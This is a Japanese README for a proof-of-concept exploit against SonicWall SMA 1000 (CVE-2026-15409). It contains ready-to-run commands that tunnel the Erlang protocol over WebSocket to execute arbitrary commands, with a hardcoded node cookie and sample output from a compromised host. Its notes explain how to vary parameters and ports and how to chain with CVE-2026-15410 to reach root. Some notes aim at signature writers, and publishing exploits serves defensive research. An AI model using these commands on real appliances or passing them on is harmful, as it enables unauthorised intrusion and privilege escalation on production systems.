CVE-2026-15409
このリポジトリには、CVE-2026-15409の概念実証エクスプロイトが含まれています。これは、localhost:1050で期待されるErlangプロトコルを実装し、それをWebSocket経由でトンネリングして、ファイルの読み書きとRPC呼び出しによる任意のコード実行を実現することにより、SonicWall SMA 1000上で非rootのリモートコード実行を確立します。
使用方法
# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --exec 'whoami && id && pwd && hostname'
Authenticated to [email protected]
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
エクスプロイトと検出に関する注意点
- このエクスプロイトは、WorkPlaceサービス(通常ポート443で待機)を対象としています。ほとんど常に有効になっている可能性が高く(基本ADなどのユーザー認証方法を設定する必要があります)。
- 2026年6月のホットフィックス(パッチ前の最新版)が適用されたex_sra_vm_12.5.0-02002.ovaに対して開発されました。
- 例:python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
- エクスプロイトに使用されるErlangノードクッキーは、ターゲット間で一貫している必要があります。テストに基づき、localhost:1050上のErlangプロセス用にハードコードされています。
- bmIDの値は、「-3389」で始まる限り、通常は任意の値で機能します。「serviceType=SSH」に対するシグネチャを作成しないでください。TELNETなどの代替も機能するからです。0.0.0.0も代替アドレス形式に置き換え可能です。
- ポート1050はエクスプロイト手法の一つであり、エクスプロイトに必須のハードコードされた要件ではありません。EITWはポート8188も標的にしていることが確認されていますが、単に1050を使用する方が簡単なようです。他のポートのサービスもエクスプロイト可能かもしれません。実際のコード実行は、使用される手法のバリエーションにより、couchdb以外のユーザーコンテキストで行われる可能性が高いです。
- 攻撃者は、シェルを確立した後、「remove hotfix」XMLRPCトラバーサルエクスプロイトCVE-2026-15410(localhost:8188を対象)を使用して、rootへの権限昇格が可能です。